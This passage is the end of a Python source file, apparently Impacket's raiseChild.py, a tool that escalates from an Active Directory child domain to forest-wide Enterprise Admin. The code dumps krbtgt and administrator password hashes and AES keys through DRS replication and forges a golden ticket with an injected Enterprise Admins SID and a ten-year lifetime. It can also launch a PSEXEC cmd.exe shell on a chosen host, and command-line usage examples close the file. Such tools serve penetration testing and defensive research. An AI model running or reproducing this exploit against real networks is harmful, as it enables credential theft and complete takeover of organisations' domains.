self.__ppartialAttrSet['rgPartialAttr'].append(drsuapi.MakeAttid(self.__prefixTable , attId)) 808 request['pmsgIn']['V8']['pPartialAttrSet'] = self.__ppartialAttrSet 809 request['pmsgIn']['V8']['PrefixTableDest']['PrefixCount'] = len(self.__prefixTable) 810 request['pmsgIn']['V8']['PrefixTableDest']['pPrefixEntry'] = self.__prefixTable 811 request['pmsgIn']['V8']['pPartialAttrSetEx1'] = NULL 812 813 return self.__drsr.request(request) 814 815 def getCredentials(self, userName, domain, creds = None): 816 upn = '%s@%s' % (userName, domain) 817 try: 818 crackedName = self.DRSCrackNames(domain, drsuapi.DS_NAME_FORMAT.DS_USER_PRINCIPAL_NAME, name = upn, creds=creds) 819 820 if crackedName['pmsgOut']['V1']['pResult']['cItems'] == 1: 821 if crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['status'] == 0: 822 userRecord = self.DRSGetNCChanges( 823 crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['pName'][:-1], creds) 824 # userRecord.dump() 825 if userRecord['pmsgOut']['V6']['cNumObjects'] == 0: 826 raise Exception('DRSGetNCChanges didn\'t return any object!') 827 else: 828 raise Exception('DRSCrackNames status returned error 0x%x' % 829 crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['status']) 830 else: 831 raise Exception('DRSCrackNames returned %d items for user %s' % ( 832 crackedName['pmsgOut']['V1']['pResult']['cItems'], userName)) 833 834 rid, lmhash, nthash = self.__decryptHash(userRecord, userRecord['pmsgOut']['V6']['PrefixTableSrc']['pPrefixEntry']) 835 aesKey = self.__decryptSupplementalInfo(userRecord, userRecord['pmsgOut']['V6']['PrefixTableSrc']['pPrefixEntry']) 836 except Exception as e: 837 logging.debug('Exception:', exc_info=True) 838 logging.error("Error while processing user!") 839 logging.error(str(e)) 840 raise 841 842 self.__drsr.disconnect() 843 self.__drsr = None 844 creds = {} 845 creds['lmhash'] = lmhash 846 creds['nthash'] = nthash 847 creds['aesKey'] = aesKey 848 return rid, creds 849 850 @staticmethod 851 def makeGolden(tgt, originalCipher, sessionKey, ntHash, aesKey, extraSid): 852 asRep = decoder.decode(tgt, asn1Spec = AS_REP())[0] 853 854 # Let's extract Ticket's enc-data 855 cipherText = asRep['ticket']['enc-part']['cipher'] 856 857 cipher = _enctype_table[asRep['ticket']['enc-part']['etype']] 858 if cipher.enctype == constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value: 859 key = Key(cipher.enctype, unhexlify(aesKey)) 860 elif cipher.enctype == constants.EncryptionTypes.rc4_hmac.value: 861 key = Key(cipher.enctype, unhexlify(ntHash)) 862 else: 863 raise Exception('Unsupported enctype 0x%x' % cipher.enctype) 864 865 # Key Usage 2 866 # AS-REP Ticket and TGS-REP Ticket (includes TGS session 867 # key or application session key), encrypted with the 868 # service key (Section 5.3) 869 plainText = cipher.decrypt(key, 2, cipherText) 870 #hexdump(plainText) 871 872 encTicketPart = decoder.decode(plainText, asn1Spec = EncTicketPart())[0] 873 874 # Let's extend the ticket's validity a lil bit 875 tenYearsFromNow = datetime.datetime.utcnow() + datetime.timedelta(days=365*10) 876 encTicketPart['endtime'] = KerberosTime.to_asn1(tenYearsFromNow) 877 encTicketPart['renew-till'] = KerberosTime.to_asn1(tenYearsFromNow) 878 #print encTicketPart.prettyPrint() 879 880 adIfRelevant = decoder.decode(encTicketPart['authorization-data'][0]['ad-data'], asn1Spec =AD_IF_RELEVANT())[0] 881 #print adIfRelevant.prettyPrint() 882 883 # So here we have the PAC 884 pacType = PACTYPE(adIfRelevant[0]['ad-data'].asOctets()) 885 buffers = pacType['Buffers'] 886 pacInfos = {} 887 888 for nBuf in range(pacType['cBuffers']): 889 infoBuffer = PAC_INFO_BUFFER(buffers) 890 data = pacType['Buffers'][infoBuffer['Offset']-8:][:infoBuffer['cbBufferSize']] 891 pacInfos[infoBuffer['ulType']] = data 892 buffers = buffers[len(infoBuffer):] 893 894 # Let's locate the KERB_VALIDATION_INFO and Checksums 895 if PAC_LOGON_INFO in pacInfos: 896 data = pacInfos[PAC_LOGON_INFO] 897 validationInfo = VALIDATION_INFO() 898 validationInfo.fromString(pacInfos[PAC_LOGON_INFO]) 899 lenVal = len(validationInfo.getData()) 900 validationInfo.fromStringReferents(data[lenVal:], lenVal) 901 902 if logging.getLogger().level == logging.DEBUG: 903 logging.debug('VALIDATION_INFO before making it gold') 904 validationInfo.dump() 905 print ('\n') 906 907 # Our Golden Well-known groups! :) 908 groups = (513, 512, 520, 518, 519) 909 validationInfo['Data']['GroupIds'] = list() 910 validationInfo['Data']['GroupCount'] = len(groups) 911 912 for group in groups: 913 groupMembership = GROUP_MEMBERSHIP() 914 groupId = NDRULONG() 915 groupId['Data'] = group 916 groupMembership['RelativeId'] = groupId 917 groupMembership['Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED 918 validationInfo['Data']['GroupIds'].append(groupMembership) 919 920 # Let's add the extraSid 921 if validationInfo['Data']['SidCount'] == 0: 922 # Let's be sure user's flag specify we have extra sids. 923 validationInfo['Data']['UserFlags'] |= 0x20 924 validationInfo['Data']['ExtraSids'] = PKERB_SID_AND_ATTRIBUTES_ARRAY() 925 926 validationInfo['Data']['SidCount'] += 1 927 928 sidRecord = KERB_SID_AND_ATTRIBUTES() 929 930 sid = RPC_SID() 931 sid.fromCanonical(extraSid) 932 933 sidRecord['Sid'] = sid 934 sidRecord['Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED 935 936 # And, let's append the magicSid 937 validationInfo['Data']['ExtraSids'].append(sidRecord) 938 939 validationInfoBlob = validationInfo.getData()+validationInfo.getDataReferents() 940 validationInfoAlignment = b'\x00' * (((len(validationInfoBlob) + 7) // 8 * 8) - len(validationInfoBlob)) 941 942 if logging.getLogger().level == logging.DEBUG: 943 logging.debug('VALIDATION_INFO after making it gold') 944 validationInfo.dump() 945 print ('\n') 946 else: 947 raise Exception('PAC_LOGON_INFO not found! Aborting') 948 949 # Let's now clear the checksums 950 if PAC_SERVER_CHECKSUM in pacInfos: 951 serverChecksum = PAC_SIGNATURE_DATA(pacInfos[PAC_SERVER_CHECKSUM]) 952 if serverChecksum['SignatureType'] == constants.ChecksumTypes.hmac_sha1_96_aes256.value: 953 serverChecksum['Signature'] = b'\x00'*12 954 else: 955 serverChecksum['Signature'] = b'\x00'*16 956 else: 957 raise Exception('PAC_SERVER_CHECKSUM not found! Aborting') 958 959 if PAC_PRIVSVR_CHECKSUM in pacInfos: 960 privSvrChecksum = PAC_SIGNATURE_DATA(pacInfos[PAC_PRIVSVR_CHECKSUM]) 961 privSvrChecksum['Signature'] = b'\x00'*12 962 if privSvrChecksum['SignatureType'] == constants.ChecksumTypes.hmac_sha1_96_aes256.value: 963 privSvrChecksum['Signature'] = b'\x00'*12 964 else: 965 privSvrChecksum['Signature'] = b'\x00'*16 966 else: 967 raise Exception('PAC_PRIVSVR_CHECKSUM not found! Aborting') 968 969 if PAC_CLIENT_INFO_TYPE in pacInfos: 970 pacClientInfoBlob = pacInfos[PAC_CLIENT_INFO_TYPE] 971 pacClientInfoAlignment = b'\x00' * (((len(pacClientInfoBlob) + 7) // 8 * 8) - len(pacClientInfoBlob)) 972 else: 973 raise Exception('PAC_CLIENT_INFO_TYPE not found! Aborting') 974 975 976 # We changed everything we needed to make us special. Now let's repack and calculate checksums 977 serverChecksumBlob = serverChecksum.getData() 978 serverChecksumAlignment = b'\x00' * (((len(serverChecksumBlob) + 7) // 8 * 8) - len(serverChecksumBlob)) 979 980 privSvrChecksumBlob = privSvrChecksum.getData() 981 privSvrChecksumAlignment = b'\x00' * (((len(privSvrChecksumBlob) + 7) // 8 * 8) - len(privSvrChecksumBlob)) 982 983 # The offset are set from the beginning of the PAC_TYPE 984 # [MS-PAC] 2.4 PAC_INFO_BUFFER 985 offsetData = 8 + len(PAC_INFO_BUFFER().getData())*4 986 987 # Let's build the PAC_INFO_BUFFER for each one of the elements 988 validationInfoIB = PAC_INFO_BUFFER() 989 validationInfoIB['ulType'] = PAC_LOGON_INFO 990 validationInfoIB['cbBufferSize'] = len(validationInfoBlob) 991 validationInfoIB['Offset'] = offsetData 992 offsetData = (offsetData + validationInfoIB['cbBufferSize'] + 7) // 8 * 8 993 994 pacClientInfoIB = PAC_INFO_BUFFER() 995 pacClientInfoIB['ulType'] = PAC_CLIENT_INFO_TYPE 996 pacClientInfoIB['cbBufferSize'] = len(pacClientInfoBlob) 997 pacClientInfoIB['Offset'] = offsetData 998 offsetData = (offsetData + pacClientInfoIB['cbBufferSize'] + 7) // 8 * 8 999 1000 serverChecksumIB = PAC_INFO_BUFFER() 1001 serverChecksumIB['ulType'] = PAC_SERVER_CHECKSUM 1002 serverChecksumIB['cbBufferSize'] = len(serverChecksumBlob) 1003 serverChecksumIB['Offset'] = offsetData 1004 offsetData = (offsetData + serverChecksumIB['cbBufferSize'] + 7) // 8 * 8 1005 1006 privSvrChecksumIB = PAC_INFO_BUFFER() 1007 privSvrChecksumIB['ulType'] = PAC_PRIVSVR_CHECKSUM 1008 privSvrChecksumIB['cbBufferSize'] = len(privSvrChecksumBlob) 1009 privSvrChecksumIB['Offset'] = offsetData 1010 #offsetData = (offsetData+privSvrChecksumIB['cbBufferSize'] + 7) /8 *8 1011 1012 # Building the PAC_TYPE as specified in [MS-PAC] 1013 buffers = validationInfoIB.getData() + pacClientInfoIB.getData() + serverChecksumIB.getData() + \ 1014 privSvrChecksumIB.getData() + validationInfoBlob + validationInfoAlignment + \ 1015 pacInfos[PAC_CLIENT_INFO_TYPE] + pacClientInfoAlignment 1016 buffersTail = serverChecksum.getData() + serverChecksumAlignment + privSvrChecksum.getData() + privSvrChecksumAlignment 1017 1018 pacType = PACTYPE() 1019 pacType['cBuffers'] = 4 1020 pacType['Version'] = 0 1021 pacType['Buffers'] = buffers + buffersTail 1022 1023 blobToChecksum = pacType.getData() 1024 1025 # If you want to do MD5, ucomment this 1026 checkSumFunctionServer = _checksum_table[serverChecksum['SignatureType']] 1027 if serverChecksum['SignatureType'] == constants.ChecksumTypes.hmac_sha1_96_aes256.value: 1028 keyServer = Key(Enctype.AES256, unhexlify(aesKey)) 1029 elif serverChecksum['SignatureType'] == constants.ChecksumTypes.hmac_md5.value: 1030 keyServer = Key(Enctype.RC4, unhexlify(ntHash)) 1031 else: 1032 raise Exception('Invalid Server checksum type 0x%x' % serverChecksum['SignatureType'] ) 1033 1034 checkSumFunctionPriv= _checksum_table[privSvrChecksum['SignatureType']] 1035 if privSvrChecksum['SignatureType'] == constants.ChecksumTypes.hmac_sha1_96_aes256.value: 1036 keyPriv = Key(Enctype.AES256, unhexlify(aesKey)) 1037 elif privSvrChecksum['SignatureType'] == constants.ChecksumTypes.hmac_md5.value: 1038 keyPriv = Key(Enctype.RC4, unhexlify(ntHash)) 1039 else: 1040 raise Exception('Invalid Priv checksum type 0x%x' % serverChecksum['SignatureType'] ) 1041 1042 serverChecksum['Signature'] = checkSumFunctionServer.checksum(keyServer, 17, blobToChecksum) 1043 privSvrChecksum['Signature'] = checkSumFunctionPriv.checksum(keyPriv, 17, serverChecksum['Signature']) 1044 1045 buffersTail = serverChecksum.getData() + serverChecksumAlignment + privSvrChecksum.getData() + privSvrChecksumAlignment 1046 pacType['Buffers'] = buffers + buffersTail 1047 1048 authorizationData = AuthorizationData() 1049 authorizationData[0] = noValue 1050 authorizationData[0]['ad-type'] = int(constants.AuthorizationDataType.AD_WIN2K_PAC.value) 1051 authorizationData[0]['ad-data'] = pacType.getData() 1052 authorizationData = encoder.encode(authorizationData) 1053 1054 encTicketPart['authorization-data'][0]['ad-data'] = authorizationData 1055 1056 encodedEncTicketPart = encoder.encode(encTicketPart) 1057 1058 cipher = _enctype_table[asRep['ticket']['enc-part']['etype']] 1059 if cipher.enctype == constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value: 1060 key = Key(cipher.enctype, unhexlify(aesKey)) 1061 elif cipher.enctype == constants.EncryptionTypes.rc4_hmac.value: 1062 key = Key(cipher.enctype, unhexlify(ntHash)) 1063 else: 1064 raise Exception('Unsupported enctype 0x%x' % cipher.enctype) 1065 1066 # Key Usage 2 1067 # AS-REP Ticket and TGS-REP Ticket (includes TGS session 1068 # key or application session key), encrypted with the 1069 # service key (Section 5.3) 1070 cipherText = cipher.encrypt(key, 2, encodedEncTicketPart, None) 1071 1072 asRep['ticket']['enc-part']['cipher'] = cipherText 1073 1074 return encoder.encode(asRep), originalCipher, sessionKey 1075 1076 def raiseUp(self, childName, childCreds, parentName): 1077 logging.info('Raising %s to %s' % (childName, parentName)) 1078 1079 # 3) Get the parents's Enterprise Admin SID (via [MS-LSAT]) 1080 entepriseSid, adminName = self.getParentSidAndAdminName(parentName, childCreds) 1081 logging.info('%s Enterprise Admin SID is: %s-519' % (parentName,entepriseSid)) 1082 1083 # 4) Get the child domain's krbtgt credentials (via [MS-DRSR]) 1084 targetUser = 'krbtgt' 1085 logging.info('Getting credentials for %s' % childName) 1086 rid, credentials = self.getCredentials(targetUser, childName, childCreds) 1087 print('%s/%s:%s:%s:%s:::' % ( 1088 childName, targetUser, rid, credentials['lmhash'].decode('utf-8'), credentials['nthash'].decode('utf-8'))) 1089 print('%s/%s:aes256-cts-hmac-sha1-96s:%s' % (childName, targetUser, credentials['aesKey'].decode('utf-8'))) 1090 1091 # 5) Create a Golden Ticket specifying SID from 3) inside the KERB_VALIDATION_INFO's ExtraSids array 1092 userName = Principal(childCreds['username'], type=constants.PrincipalNameType.NT_PRINCIPAL.value) 1093 TGT = {} 1094 TGS = {} 1095 while True: 1096 try: 1097 tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, childCreds['password'], 1098 childCreds['domain'], childCreds['lmhash'], 1099 childCreds['nthash'], None, self.__kdcHost) 1100 except KerberosError as e: 1101 if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value: 1102 # We might face this if the target does not support AES (most probably 1103 # Windows XP). So, if that's the case we'll force using RC4 by converting 1104 # the password to lm/nt hashes and hope for the best. If that's already 1105 # done, byebye. 1106 if childCreds['lmhash'] is '' and childCreds['nthash'] is '': 1107 from impacket.ntlm import compute_lmhash, compute_nthash 1108 childCreds['lmhash'] = compute_lmhash(childCreds['password']) 1109 childCreds['nthash'] = compute_nthash(childCreds['password']) 1110 continue 1111 else: 1112 raise 1113 else: 1114 raise 1115 1116 # We have a TGT, let's make it golden 1117 goldenTicket, cipher, sessionKey = self.makeGolden(tgt, cipher, sessionKey, credentials['nthash'], 1118 credentials['aesKey'], entepriseSid + '-519') 1119 TGT['KDC_REP'] = goldenTicket 1120 TGT['cipher'] = cipher 1121 TGT['oldSessionKey'] = oldSessionKey 1122 TGT['sessionKey'] = sessionKey 1123 1124 # We've done what we wanted, now let's call the regular getKerberosTGS to get a new ticket for cifs 1125 if self.__target is None: 1126 serverName = Principal('cifs/%s' % self.getMachineName(gethostbyname(parentName)), 1127 type=constants.PrincipalNameType.NT_SRV_INST.value) 1128 else: 1129 serverName = Principal('cifs/%s' % self.__target, type=constants.PrincipalNameType.NT_SRV_INST.value) 1130 try: 1131 logging.debug('Getting TGS for SPN %s' % serverName) 1132 tgsCIFS, cipherCIFS, oldSessionKeyCIFS, sessionKeyCIFS = getKerberosTGS(serverName, 1133 childCreds['domain'], None, 1134 goldenTicket, cipher, 1135 sessionKey) 1136 TGS['KDC_REP'] = tgsCIFS 1137 TGS['cipher'] = cipherCIFS 1138 TGS['oldSessionKey'] = oldSessionKeyCIFS 1139 TGS['sessionKey'] = sessionKeyCIFS 1140 break 1141 except KerberosError as e: 1142 if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value: 1143 # We might face this if the target does not support AES (most probably 1144 # Windows XP). So, if that's the case we'll force using RC4 by converting 1145 # the password to lm/nt hashes and hope for the best. If that's already 1146 # done, byebye. 1147 if childCreds['lmhash'] is '' and childCreds['nthash'] is '': 1148 from impacket.ntlm import compute_lmhash, compute_nthash 1149 childCreds['lmhash'] = compute_lmhash(childCreds['password']) 1150 childCreds['nthash'] = compute_nthash(childCreds['password']) 1151 else: 1152 raise 1153 else: 1154 raise 1155 1156 # 6) Use the generated ticket to log into the parent and get the krbtgt/admin info 1157 logging.info('Getting credentials for %s' % parentName) 1158 targetUser = 'krbtgt' 1159 childCreds['TGT'] = TGT 1160 rid, credentials = self.getCredentials(targetUser, parentName, childCreds) 1161 print('%s/%s:%s:%s:%s:::' % ( 1162 parentName, targetUser, rid, credentials['lmhash'].decode('utf-8'), credentials['nthash'].decode('utf-8'))) 1163 print('%s/%s:aes256-cts-hmac-sha1-96s:%s' % (parentName, targetUser, credentials['aesKey'].decode("utf-8"))) 1164 1165 logging.info('Administrator account name is %s' % adminName) 1166 rid, credentials = self.getCredentials(adminName, parentName, childCreds) 1167 print('%s/%s:%s:%s:%s:::' % (parentName, adminName, rid, credentials['lmhash'].decode('utf-8'), credentials['nthash'].decode('utf-8'))) 1168 print('%s/%s:aes256-cts-hmac-sha1-96s:%s' % (parentName, adminName, credentials['aesKey'].decode('utf-8'))) 1169 1170 adminCreds = {} 1171 adminCreds['username'] = adminName 1172 adminCreds['password'] = '' 1173 adminCreds['domain'] = parentName 1174 adminCreds['lmhash'] = credentials['lmhash'] 1175 adminCreds['nthash'] = credentials['nthash'] 1176 adminCreds['aesKey'] = credentials['aesKey'] 1177 adminCreds['TGT'] = None 1178 adminCreds['TGS'] = None 1179 return adminCreds, TGT, TGS 1180 1181 def exploit(self): 1182 # 1) Find out where the child domain controller is located and get its info (via [MS-NRPC]) 1183 childCreds = self.__creds 1184 childName, forestName = self.getChildInfo(self.__creds) 1185 logging.info('Raising child domain %s' % childName) 1186 1187 # 2) Find out what the forest FQDN is (via [MS-NRPC]) 1188 logging.info('Forest FQDN is: %s' % forestName) 1189 1190 # Let's raise up our child! 1191 adminCreds, parentTGT, parentTGS = self.raiseUp(childName, childCreds, forestName) 1192 1193 # 7) If file was specified, save the golden ticket in ccache format 1194 if self.__writeTGT is not None: 1195 logging.info('Saving golden ticket into %s' % self.__writeTGT) 1196 from impacket.krb5.ccache import CCache 1197 ccache = CCache() 1198 ccache.fromTGT(parentTGT['KDC_REP'], parentTGT['oldSessionKey'], parentTGT['sessionKey']) 1199 ccache.saveFile(self.__writeTGT) 1200 1201 # 8) If target was specified, a PSEXEC shell is launched 1202 if self.__target is not None: 1203 logging.info('Opening PSEXEC shell at %s' % self.__target) 1204 from impacket.smbconnection import SMBConnection 1205 s = SMBConnection('*SMBSERVER', self.__target) 1206 s.kerberosLogin(adminCreds['username'], '', adminCreds['domain'], adminCreds['lmhash'], 1207 adminCreds['nthash'], useCache=False) 1208 1209 if self.__command != 'None': 1210 executer = PSEXEC(self.__command, adminCreds['username'], adminCreds['domain'], s, None, None) 1211 executer.run(self.__target) 1212 1213 if __name__ == '__main__': 1214 # Init the example's logger theme 1215 logger.init() 1216 1217 print(version.BANNER) 1218 1219 parser = argparse.ArgumentParser(add_help = True, description = "Privilege Escalation from a child domain up to its " 1220 "forest") 1221 1222 parser.add_argument('target', action='store', help='domain/username[:password]') 1223 parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') 1224 parser.add_argument('-w', action='store',metavar = "pathname", help='writes the golden ticket in CCache format ' 1225 'into the <pathname> file') 1226 #parser.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller (needed to get the user''s SID). If omitted it will use the domain part (FQDN) specified in the target parameter') 1227 parser.add_argument('-target-exec', action='store',metavar = "target address", help='Target host you want to PSEXEC ' 1228 'against once the main attack finished') 1229 1230 group = parser.add_argument_group('authentication') 1231 1232 group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') 1233 group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') 1234 group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file ' 1235 '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ' 1236 'ones specified in the command line') 1237 group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication ' 1238 '(128 or 256 bits)') 1239 1240 if len(sys.argv)==1: 1241 parser.print_help() 1242 print("\nExamples: ") 1243 print("\tpython raiseChild.py childDomain.net/adminuser\n") 1244 print("\tthe password will be asked, or\n") 1245 print("\tpython raiseChild.py childDomain.net/adminuser:mypwd\n") 1246 print("\tor if you just have the hashes\n") 1247 print("\tpython raiseChild.py -hashes LMHASH:NTHASH childDomain.net/adminuser\n") 1248 1249 print("\tThis will perform the attack and then psexec against target-exec as Enterprise Admin") 1250 print("\tpython raiseChild.py -target-exec targetHost childDomainn.net/adminuser\n") 1251 print("\tThis will save the final goldenTicket generated in the ccache target file") 1252 print("\tpython raiseChild.py -w ccache childDomain.net/adminuser\n") 1253 sys.exit(1) 1254 1255 options = parser.parse_args() 1256 1257 import re 1258 # This is because I'm lazy with regex 1259 # ToDo: We need to change the regex to fullfil domain/username[:password] 1260 targetParam = options.target + '@' 1261 domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match( 1262 targetParam).groups('') 1263 1264 #In case the password contains '@' 1265 if '@' in address: 1266 password = password + '@' + address.rpartition('@')[0] 1267 address = address.rpartition('@')[2] 1268 1269 if options.debug is True: 1270 logging.getLogger().setLevel(logging.DEBUG) 1271 else: 1272 logging.getLogger().setLevel(logging.INFO) 1273 1274 if domain is '': 1275 logging.critical('Domain should be specified!') 1276 sys.exit(1) 1277 1278 if password == '' and username != '' and options.hashes is None and options.aesKey is None: 1279 from getpass import getpass 1280 password = getpass("Password:") 1281 1282 if options.aesKey is not None: 1283 options.k = True 1284 1285 commands = 'cmd.exe' 1286 1287 try: 1288 pacifier = RAISECHILD(options.target_exec, username, password, domain, options, commands) 1289 pacifier.exploit() 1290 except SessionError as e: 1291 logging.critical(str(e)) 1292 if e.getErrorCode() == STATUS_NO_LOGON_SERVERS: 1293 logging.info('Try using Kerberos authentication (-k switch). That might help solving the STATUS_NO_LOGON_SERVERS issue') 1294 except Exception as e: 1295 logging.debug('Exception:', exc_info=True) 1296 logging.critical(str(e))